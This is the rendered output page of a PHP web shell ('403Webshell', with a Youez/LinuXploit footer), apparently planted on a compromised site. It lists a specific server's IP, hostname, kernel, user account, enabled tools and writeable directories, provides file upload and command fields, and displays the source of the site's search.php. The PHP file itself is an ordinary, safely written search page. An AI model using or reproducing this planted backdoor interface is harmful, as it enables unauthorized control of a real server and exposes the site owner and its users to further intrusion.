403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/soko.chat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/soko.chat//search.php
<?php
require_once __DIR__ . '/app/db.php';
require_once __DIR__ . '/app/helpers.php';

$q = trim($_GET['q'] ?? '');
$categorySlug = $_GET['category'] ?? '';

$params = [];
$where = ["d.status='published'"];
if ($q !== '') { $where[] = "(d.title LIKE ? OR d.redacted_summary LIKE ? OR d.location LIKE ?)"; $params[]="%$q%"; $params[]="%$q%"; $params[]="%$q%"; }
if ($categorySlug !== '') { $where[] = "cat.slug=?"; $params[]=$categorySlug; }

$sql = "SELECT d.*, c.name county_name, cat.name category_name FROM deals d LEFT JOIN counties c ON c.id=d.county_id LEFT JOIN categories cat ON cat.id=d.category_id WHERE ".implode(' AND ',$where)." ORDER BY d.created_at DESC LIMIT 100";
$stmt=$pdo->prepare($sql); $stmt->execute($params); $deals=$stmt->fetchAll();
?>
<!doctype html><html><head><meta charset="utf-8"><title>Search - <?= e(APP_NAME) ?></title><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="<?= e(APP_URL) ?>/assets/css/style.css"></head>
<body><div class="top"><div class="wrap"><a class="brand logo-brand" href="<?= e(APP_URL) ?>/"><img class="logo-img" src="<?= e(APP_URL) ?>/assets/img/soko-logo.png" alt="Soko.chat"></a></div></div><div class="wrap"><div class="formbox"><form><label>Search deals</label><input name="q" value="<?= e($q) ?>"><button class="button">Search</button></form></div><h3>results</h3><div class="deal-list"><?php foreach($deals as $deal): ?><div class="deal-row"><a class="deal-title" href="<?= e(APP_URL) ?>/deal.php?slug=<?= e($deal['slug']) ?>"><?= e($deal['title']) ?></a><div class="muted"><?= e($deal['county_name']) ?> · <?= e($deal['category_name']) ?> · <?= e($deal['location']) ?></div></div><?php endforeach; ?><?php if(!$deals): ?><div class="deal-row">No results.</div><?php endif; ?></div></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit